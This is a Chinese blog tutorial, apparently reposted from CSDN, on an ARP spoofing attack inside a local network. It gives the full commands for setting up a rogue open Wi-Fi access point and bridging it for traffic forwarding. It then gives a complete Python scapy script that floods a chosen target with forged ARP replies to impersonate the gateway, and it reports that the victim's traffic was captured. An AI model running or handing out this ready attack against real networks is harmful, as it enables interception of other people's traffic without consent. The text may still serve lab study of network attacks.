内网渗透(1)--arp欺骗攻击

如果只是单向欺骗的话会发现目标主机无法上网,所以可能会被察觉到异常

实验原理

安装依赖

apt-get install bridge-utils

 

配置本地无线网卡, 开启流量转发,实现连入的设备可以上网

首先关闭一些服务,防止影响

service NetworkManager stop
 airmon-ng check kill

插入网卡并启用

airmon-ng  start wlan0

 把网卡变成一个ap

airbase-ng --essid “test-wifi”  wlan0mon

--essid就是指定之后我们wifi的名字

当然还有两个可选的参数,不过这里可以不需要

-c 指定信道比如说-c 11

-a 指定我们网卡变成ap后的mac地址-a <AP mac>

这样就启动了,可以看到我们有个叫test-wifi的开放wifi.下面开始配置网卡的本地环路,保证其他手机连上了可以上网

brctl addbr br
brctl addbr bridge
brctl addif bridge eth0
brctl addif bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig bridge 192.168.3.62 up//这个地方ip修改为原来eth0的ip地址
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.3.1//修改成本地网关的ip
echo 1 > /proc/sys/net/ipv4/ip_forward//开启转发

ok,手机连上这个wifi发现可以上网,下面开始arp欺骗攻击

arp欺骗

这是ubantu原来的arp缓存

因为我们需要一直给ubantu发送arp欺骗包,一旦停止了ubantu的arp缓存就会变成原来的,达不到我们欺骗的效果

#! /usr/bin/python
# -*- coding: utf-8 -*-
# create by azraelxuemo

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:
    print "脚本的使用说明"
    print "这个脚本用来欺骗指定ip"
    print "-h --help 打印这份说明"
    print "-t 指定需要欺骗的目标"
    sys.exit()


if '-t' in sys.argv:
       targetip=str(sys.argv[2])
       localmac=subprocess.check_output("ifconfig at0 |grep 'ether'|cut -d 'r' -f 2|cut -d 't' -f 1",shell=True).strip()
       prefix=targetip.split('.')[0]+'.'+targetip.split('.')[1]+'.'+targetip.split('.')[2]+'.' 
       fakeip=prefix+str(1)
       a1=sr1(ARP(pdst=targetip),verbose=0)
       targetmac=a1.hwdst
       while(1):
            answer=sr1(ARP(op=2,hwsrc=localmac,psrc=fakeip,pdst=targetip,hwdst=targetmac),timeout=1,verbose=0)
            try:
                if answer==None:
                     print "正在arp欺骗"
            except:
                pass
        

 执行这个脚本就可以开始进行欺骗

 可以看到,被欺骗的主机可以上网,并且arp缓存被欺骗了

ubantu的流量我们成功获取

猜你喜欢

转载自blog.csdn.net/azraelxuemo/article/details/107294875